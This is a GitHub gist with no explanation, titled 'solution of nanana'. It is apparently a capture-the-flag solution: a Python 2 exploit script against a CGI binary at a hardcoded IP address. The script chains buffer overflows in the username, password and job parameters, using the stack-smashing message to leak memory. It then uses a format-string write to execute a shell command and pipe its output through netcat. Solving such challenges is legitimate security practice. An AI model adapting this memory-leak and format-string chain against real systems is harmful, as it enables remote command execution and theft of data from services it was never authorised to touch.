-
-
Save orangetw/583a73f58d49b1a3fc14 to your computer and use it in GitHub Desktop.
solution of nanana
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from urllib import urlencode | |
from struct import pack, unpack | |
URL = 'http://54.92.88.102/cgi-bin/nanana' | |
def leak(address): | |
address = pack('I', address) | |
address = address.strip('\x00') | |
payload = { | |
'username': 'A'*349, | |
'password': 'B'*380, | |
'job': 'C'*392 + address | |
} | |
r = requests.get(URL+'?'+urlencode(payload)) | |
l = r.headers['*** stack smashing detected ***'] | |
l = l.strip(' terminated') | |
l = l.ljust(8, '\x00') | |
try: | |
return unpack('Q', l) | |
except: | |
return l | |
def e(cmd, pwd): | |
payload = { | |
'username': cmd, | |
'password': pwd, | |
'job': '\x48\x10\x60', | |
'action': '%198x%15$hhn' | |
} | |
print urlencode(payload) | |
r = requests.get(URL+'?'+urlencode(payload)) | |
if __name__ == '__main__': | |
pwd = leak(0x601090) | |
print 'pwd @ %s' % pwd | |
e('id | nc 127.0.0.1 12345',pwd=pwd) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment